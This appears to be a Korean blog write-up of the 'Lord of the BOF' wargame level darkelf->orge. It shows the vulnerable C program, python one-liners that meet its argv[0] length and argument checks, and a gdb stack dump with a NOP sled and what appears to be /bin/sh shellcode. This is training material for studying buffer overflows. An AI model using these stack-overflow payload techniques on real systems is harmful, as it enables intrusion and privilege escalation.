[darkelf@localhost darkelf]$ cat orge.c
/*
The Lord of the BOF : The Fellowship of the BOF
- orge
- check argv[0]
*/
#include <stdio.h>
#include <stdlib.h>
extern char **environ;
main(int argc, char *argv[])
{
char buffer[40];
int i;
if(argc < 2){
printf("argv error\n");
exit(0);
}
// here is changed! 프로그램이름 앞에 /<-를 72개 붙여주면 .(1자) + /*72 (72자) + o r g e (4자) 총 77자가 되어
if(strlen(argv[0]) != 77){ 조건이 성립하여 프로그램이 종료되지 않는다. 이점을 이용한다.
printf("argv[0] error\n");
exit(0);
}
// egghunter
for(i=0; environ[i]; i++)
memset(environ[i], 0, strlen(environ[i]));
if(argv[1][47] != '\xbf')
{
printf("stack is still your friend.\n");
exit(0);
}
// check the length of argument
if(strlen(argv[1]) > 48){
printf("argument is too long!\n");
exit(0);
}
strcpy(buffer, argv[1]);
printf("%s\n", buffer);
// buffer hunter
memset(buffer, 0, 40);
}
[darkelf@localhost darkelf]$ `python -c 'print "."+"/"*72+"org1"'` `python -c 'print "\x90"*44+"\xbf"*4'` `python -c 'print "a"'`
▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒ 위의 코드의 조건을 다 성립하니 코어파일이 생겼다.
Segmentation fault (core dumped)
[darkelf@localhost darkelf]$ gdb ./org1 ./core //gdb로 확인해본다.
#0 0xbfbfbfbf in ?? ()
(gdb) x/200x $esp
0xbffffac0: 0x00316772 0x90909090 0x90909090 0x90909090
0xbffffad0: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffae0: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffaf0: 0xbffffbef 0x90909000 0x90909090 0x90909090
0xbffffb00: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffb10: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffb20: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffb30: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffb40: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffb50: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffb60: 0x90909090 0x90909090 0x90909090 0x90909090 //nop로 가득 차있는 것을 봐서 리턴 어드레스를
0xbffffb70: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffffb60쯤으로 잡는다.
0xbffffb80: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffb90: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffba0: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffbb0: 0x90909090 0x90909090 0x90909090 0xb0c03190
0xbffffbc0: 0x8980cd31 0x31c189c3 0xcd46b0c0 0x50c03180
0xbffffbd0: 0x732f2f68 0x622f6868 0xe3896e69 0xe1895350
0xbffffbe0: 0x0bb0c289 0x000080cd 0x00000000 0x00000000
'System Hacking > Lord of Buffer overflow' 카테고리의 다른 글
09.lob troll->vampire (0) | 2018.01.08 |
---|---|
08.lob orge->troll (0) | 2018.01.08 |
06.lob wolfman->darkelf (0) | 2018.01.08 |
05.lob orc->wolfman (0) | 2018.01.07 |
04.lob goblin->orc (0) | 2018.01.06 |